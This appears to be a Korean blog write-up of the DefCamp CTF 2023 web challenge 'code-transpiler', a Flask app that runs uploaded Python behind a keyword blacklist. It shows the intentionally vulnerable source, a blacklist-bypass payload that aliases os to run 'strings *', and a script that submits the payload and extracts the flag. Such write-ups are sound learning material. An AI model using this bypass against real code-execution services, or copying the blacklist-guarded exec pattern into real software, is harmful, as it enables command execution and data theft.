DefCamp CTF 2023 Quals-[Web] code-transpiler

yoobi·2023년 10월 23일
0

프로그램 분석

문제에서 주어진 소스코드 파일은 없는 상태였으며, 웹 인스턴트를 생성하여 접근할 수 있는 문제였습니다.

추후에 다운받은 문제 소스코드는 아래와 같습니다.

import subprocess
from flask import Flask, render_template, request
app = Flask(__name__)
@app.route('/')
def index():
    return render_template('index.html')
@app.route('/execute', methods=['POST'])
def execute():
    if request.method == 'POST':
        file = request.files.get('file')
        code = file.read().decode('utf-8')
        print(code)
        if 'subprocess' in code:
            return 'BLACKLIST#1: Code contains blocked keywords!'
        if "cat" in code:
            return 'BLACKLIST#2: Try Harder!'
        if "flag" in code:
            return 'BLACKLIST#3: Try Harder!'
        if "os." in code:
            return 'BLACKLIST#4: Try Harder!'
        if "#" in code:
            return 'BLACKLIST#5: Try Harder!'
        if 'read' in code:
            return 'BLACKLIST#6: Try Harder!'
        if '\\' in code:
            return 'BLACKLIST#7: Try Harder!'
        if '_' in code:
            return 'BLACKLIST#8: Try Harder!'
        if '0x' in code:
            return 'BLACKLIST#9: Try Harder!'
        else:
            output = subprocess.check_output(['python3','-c', "{code}".format(code=code)]).decode('utf-8')
            print(output)
            return output
            
            
if __name__ == '__main__':
    app.run(host ='0.0.0.0', port=5000, threaded=True, debug=False)

취약점 분석

업로드한 파일을 실행시켜주는 구조로 되어있는 문제이며, 여러 BLACKLIST를 가지고 있습니다. BLACKLIST 문자열들을 사용하지 않으면서 flag를 읽어오는 문제입니다.

공격 시나리오

os.을 사용할 수 없지만 os는 사용할 수 있으므로, import os as ooo와 같이 작성하여 간단하게 우회가 가능한 문제입니다.

# ./payload.py
import os as ooo
ooo.system("strings *")

공격 코드

import requests

URL = 'http://34.159.182.195:31094/execute'

files = open('./payload.py', 'rb')
upload = {'file':files}

res = requests.post(URL, files=upload)

flag = res.text
flag = flag.split("CTF{")[1]
flag = flag.split("}")[0]
flag = "CTF{"+flag+"}"
print(flag)
# CTF{4e08cd8cc051a304f94dd905b66af29572e3aa8fa56d93200bfd34727e2a892a}
profile
this is yoobi

0개의 댓글